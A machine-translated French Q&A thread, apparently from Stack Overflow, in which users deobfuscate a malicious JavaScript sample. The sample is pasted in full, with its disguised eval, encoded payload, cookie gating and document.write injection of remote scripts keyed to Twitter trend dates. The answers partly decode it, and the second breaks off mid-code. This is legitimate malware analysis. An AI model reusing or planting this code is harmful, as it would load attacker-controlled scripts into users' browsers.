Aidez à désobjecter cette attaque JS

Question

J'ai un morceau de javascript désagréable que je voudrais désobscuser. Je sais que je peux faire tourner une VM et voir le malware dans toute sa splendeur, mais je suis plus intéressé à ne pas le faire fonctionner, mais à le regarder sous une forme non obscurcie. Si cela doit fonctionner pour faire cela, alors qu'il en soit ainsi, je suppose. Quelqu'un sait comment faire cela sans me compromettre?

Merci, Tim

EDIT: voici le code (une chemise, il était entre les balises de script). Cela m'a été envoyé, je n'ai pas accès au serveur.

var $a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cuZ252c14Z2529);Z2522;Z22;ceZ3dZ22arZ2543oZ2564eZ2541Z2574Z25280Z2529^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;dzZ3dZ22Z2566unZ2563tZ2569onZ2520dw(Z2574)Z257bcaZ253dZ2527Z252564oZ252563umZ252565ntZ252eZ252577Z2572Z252569Z2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z2529Z2527;cbZ253dZ2527Z25253cscZ252572Z252569pZ252574 Z25256cZ252561nZ25256Z2537uZ252561geZ25253Z2564Z25255cZ252522Z256aavZ252561Z252573cZ252572ipZ25257Z2534Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z252569ptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522]Z2528uneZ2573cZ2561Z2570e(Z2574))Z257d;Z22;cbZ3dZ22e(dZ2573);Z2573tZ253dtmpZ253dZ2527Z2527;for(Z2569Z253d0;Z2569Z253cdZ2573.Z256cZ256Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ225ngZ2574h;Z2569Z252bZ252b)Z257btmpZ253ddsZ252esliZ2563e(Z2569Z252cZ2569+1)Z253bsZ22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573Z2528Z2564Z2561Z252bZ2564bZ252bZ2564Z2563Z252bdZ2564+Z2564Z2565Z252c1Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561;Z2522;Z22;caZ3dZ22Z2566Z2575nctZ2569Z256fnZ2520Z2564Z2563s(dZ2573,Z2565s)Z257bdsZ253duneZ2573caZ2570Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cdZ3dZ22Z2574Z253dstZ252bStrZ2569nZ2567.fZ2572Z256fmCZ2568arZ2543oZ2564e((Z2574mp.Z2563hZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uZ256ecZ2574ioZ256e cZ257aZ2528czZ2529Z257bretZ2575rn Z2563a+cZ2562+Z2563cZ252bZ2563d+Z2563e+cZ257a;Z257d;Z22;Z69Z66Z20(doZ63uZ6denZ74.coZ6fkiZ65Z2eiZ6edZ65xOfZ28Z27rf5Z666Z64sZ27)Z3dZ3d-1)Z7bfunctionZ20cZ61llbZ61ckZ28x)Z7bwinZ64Z6fZ77Z2etw Z3d xZ3bvarZ20Z64 Z3d nZ65wZ20DaZ74e()Z3bd.Z73eZ74Z54Z69Z6dZ65(x[Z22asZ5foZ66Z22]*1Z300Z30)Z3bZ76aZ72 hZ20Z3d d.Z67Z65Z74UZ54Z43HZ6fuZ72s(Z29;wiZ6edoZ77.Z68 Z3d h;Z69fZ20(hZ20Z3e 8)Z7bd.Z73etUZ54Z43DatZ65(dZ2egeZ74Z55Z54Z43Z44ateZ28) Z2dZ20Z32)Z3b}elZ73eZ7bd.sZ65tUTZ43Z44Z61teZ28dZ2egetZ55TZ43DatZ65()Z20- 3Z29;Z7dwiZ6edZ6fw.gZ64 Z3d d;vZ61r tZ69me Z3d nZ65Z77 AZ72raZ79(Z29;Z76ar Z73Z68iZ66tZ49ndeZ78 Z3d Z22Z22;tiZ6dZ65[Z22yeZ61rZ22] Z3d dZ2egZ65tUZ54CZ46ullZ59eaZ72(Z29Z3btZ69Z6de[Z22mZ6fZ6etZ68Z22] Z3d Z64Z2egeZ74Z55Z54CMZ6fnthZ28)Z2bZ31;tZ69me[Z22Z64Z61yZ22] Z3dZ20d.Z67etZ55TZ43Z44atZ65()Z3bif Z28d.gZ65Z74UTZ43Z4donZ74h()Z2b1 Z3c 1Z30)Z7bshiftZ49ndeZ78 Z3d tiZ6de[Z22yeaZ72Z22] Z2b Z22Z2d0Z22 + (dZ2egetZ55TZ43MonZ74Z68()Z2b1Z29;}eZ6cZ73Z65Z7bshiZ66Z74IZ6edZ65x Z3d tiZ6deZ5bZ22yearZ22] +Z20Z22-Z22 +Z20(Z64.geZ74UTZ43MZ6fnZ74hZ28Z29+Z31);Z7difZ20(dZ2egetZ55TCDZ61te(Z29 Z3c 10Z29Z7bshifZ74InZ64Z65xZ20Z3dshifZ74Z49ndeZ78Z20+ Z22-0Z22 + Z64Z2egetZ55TCDZ61teZ28);}Z65Z6csZ65Z7bshiZ66tInZ64eZ78 Z3dZ20shZ69fZ74IZ6edexZ20+ Z22-Z22 Z2b Z64.Z67etZ55Z54Z43DatZ65();Z7ddZ6fcumZ65Z6eZ74.Z77rZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61nguZ61geZ3djavZ61sZ63rZ69Z70Z74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fseaZ72chZ2etwZ69tteZ72.cZ6fmZ2ftZ72eZ6edsZ2fdailZ79.Z6aZ73on?Z64Z61tZ65Z3dZ22+ shiftZ49nZ64eZ78+Z22&cZ61llZ62acZ6bZ3dcallZ62acZ6bZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} functiZ6fn Z63aZ6clZ62aZ63kZ32(x)Z7bwZ69ndoZ77.tZ77 Z3d x;Z73c(Z27rZ665Z66Z36dsZ27,2,Z37)Z3bZ65vaZ6c(uZ6eescZ61peZ28Z64zZ2bcZ7aZ2boZ70+stZ29+Z27dwZ28dz+Z63z(Z24Z61+stZ29);Z27);Z64oZ63umZ65ntZ2ewZ72Z69te(Z24a);Z7dZ64ocuZ6deZ6eZ74.Z77riZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearchZ2etwZ69tteZ72.Z63oZ6dZ2fZ69mZ61gZ65Z73Z2fseaZ72Z63hZ2frsZ73.pnZ67Z27 wiZ64tZ68Z3d1Z20Z68eiZ67htZ3d1 sZ74ylZ65Z3dZ27visibiZ6citZ79Z3ahiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt laZ6eguZ61geZ3djZ61vZ61sZ63ripZ74Z22+Z22 srZ63Z3dZ27http:Z2fZ2fseaZ72ch.Z74wZ69tZ74erZ2eZ63omZ2ftZ72eZ6edsZ2fdaZ69lyZ2ejZ73Z6fn?cZ61llZ62Z61cZ6bZ3dcallbZ61Z63Z6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};functiZ6fZ6e scZ28Z63nm,Z76Z2cedZ29Z7bvarZ20eZ78Z64Z3dnew Z44atZ65()Z3beZ78Z64.Z73Z65tDZ61Z74Z65Z28Z65xdZ2eZ67etZ44ateZ28)+Z65d);Z64ocZ75meZ6et.cZ6foZ6bieZ3dZ63nZ6d+ Z27Z3dZ27 +esZ63apeZ28vZ29+Z27Z3beZ78pirZ65sZ3dZ27+exdZ2etoZ47Z4dTZ53tZ72Z69Z6eZ67Z28);Z7d;"; 
var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 
function asd(s) 
{ 
    r=""; 
    for(i=0;i<s.length;i++) 
    { 
    if(s.charAt(i)=="Z") 
    { 
     s1="%" 
    } 
    else 
    { 
     s1=s.charAt(i) 
    } 
    r=r+s1; 
    } 
    return unescape(r); 
} 
function fds() 
{ 
    return asd($a); 
} 

EDIT DE NOUVEAU: Je choisis Matthew Flaschen car après tout le regardant à la fois il, Russ Cam et d'autres ont contribué à briller beaucoup de lumière sur ce que cette attaque fait et comment s'y prendre ce genre de chose en général. Matthew est arrivé à sauter dessus le plus rapide.

NOTE: En cherchant à aller au fond des choses, j'ai trouvé un outil très pratique appelé Malzilla. Si vous avez besoin de faire ce genre de chose, il a beaucoup de bons utilitaires. Merci a tous!

Answer 1

Bon, étape 1. C'était relativement facile. String.fromCharCode(101,118,97) est "eva", donc il appelle la fonction eval sur fds(). Qui à son tour appelle seulement asd, qui est vraiment juste de remplacer "Z" avec%. Après nous Unescape, nous obtenons le code qu'ils voulaient eval:

op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;"; 
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}"; 
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6"; 
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%"; 
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*"; 
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs"; 
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;"; 
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70"; 
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;"; 
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050"; 
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h"; 
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v"; 
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m"; 
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;"; 
    if (document.cookie.indexOf("rf5f6ds") == -1) { 

     function callback(x) { 
      window.tw = x; 
      var d = new Date; 
      d.setTime(x.as_of * 1000); 
      var h = d.getUTCHours(); 
      window.h = h; 
      if (h > 8) { 
       d.setUTCDate(d.getUTCDate() - 2); 
      } else { 
       d.setUTCDate(d.getUTCDate() - 3); 
      } 
      window.gd = d; 
      var time = new Array; 
      var shiftIndex = ""; 
      time.year = d.getUTCFullYear(); 
      time.month = d.getUTCMonth() + 1; 
      time.day = d.getUTCDate(); 
      if (d.getUTCMonth() + 1 < 10) { 
       shiftIndex = time.year + "-0" + (d.getUTCMonth() + 1); 
      } else { 
       shiftIndex = time.year + "-" + (d.getUTCMonth() + 1); 
      } 
      if (d.getUTCDate() < 10) { 
       shiftIndex = shiftIndex + "-0" + d.getUTCDate(); 
      } else { 
       shiftIndex = shiftIndex + "-" + d.getUTCDate(); 
      } 
      document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>"); 
     } 


     function callback2(x) { 
      window.tw = x; 
      sc("rf5f6ds", 2, 7); 
      function dw(t) 
      { 
       ca='%64o%63um%65nt.%77r%69t%65(%22'; 
       ce='%22)'; 
       cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e'; 
       cc='%3c%5c%2fscr%69pt%3e'; 
       eval(unescape(t)) 
      }; 
      $a="dw(dcs(cu,14));"; 
      function dw(t) 
      { 
       ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)'; 
       cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e'; 
       cc='%3c%5c%2fscr%69pt%3e'; 
       eval(unescape(t)) 
      }; 
      document.write("<script language=\"javascript\"><\/script>t=st+String.fromCharCode((tmp.ch") 
      dw(dcs(cu,14)); 
      $a=st; 
      dcs(da+db+dc+dd+de,10); 
      dw(st); 
      st=$a; 

      document.write($a); 
     } 

     document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <script language=javascript src='http://search.twitter.com/trends/daily.json?callback=callback'></script>"); 
    } else { 
     $a = ""; 
    } 

    function sc(cnm, v, ed) { 
     var exd = new Date; 
     exd.setDate(exd.getDate() + ed); 
     document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString(); 
    } 

Je décodées les variables en haut. cz est intrigant. il est dit cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};"; qui apparaît comme

function dcs(ds,es){ 
    ds=unescape(ds); 
    st=tmp=''; 
    for(i=0;i<ds.l%65ngth;i++){ 
     tmp=ds.slice(i,i+1); 
     st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m 

Je vais avoir du mal à décoder cette dernière st=st+String.fromCharCode... partie, cependant.

Toujours en avant. Si vous regardez une des valeurs décodées, st est st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";"; en ajoutant ensuite le "d" des lignes, il devient quelque chose comme ceci:

st=" 
     $a=st; 
     dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;! +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050&#9050"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10); 
     dw(st); 
     st=$a; 
    "; 

(mine d'indentation). Encore une fois, avoir encore des problèmes avec ces longues piqûres.

Answer 2

ok, cela devrait être simple.

var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 

est tout simplement un appel à eval

savoir ce qui est en cours d'évaluation, nous devons déchiffrer la chaîne. Nous devrions être en mesure de le faire de façon relativement sûre en l'exécutant par la fonction asd ...

Cela nous donne

op = '$a="dw(dcs(cu,14));";'; 
ce = "arCodeAt(0)^('0x00'+es)));}}" 
dz = "function dw(t){ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';cc='%3c%5c%2fscr%69pt%3e';window["e"+\"\"+ \"v\"+\"al\"](unescape(t))};" 
cb = "e(ds);st=tmp='';for(i=0;i<ds.l%6"; 
da = "fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%"; 
cu = "(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*"; 
cc = "5ngth;i++){tmp=ds.slice(i,i+1);s"; 
st = 'st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";'; 
ca = "function dcs(ds,es){ds=unescap"; 
dc = "rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;"; 
dd = "08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050"; 
cd = "t=st+String.fromCharCode((tmp.ch"; 
db = "7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v"; 
de = "!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m"; 
cz = /* "function cz(cz){return ca+cb+cc+cd+ce+cz;};"; */ 
     "function cz(cz){return \"function dcs(ds,es){ds=unescape(ds);st=tmp='';for(i=0;i<ds.l%65ngth;i++){tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));}}\"+cz;};"; 
if (document.cookie.indexOf('rf5f6ds') == -1) { 
    function callback(x) { 
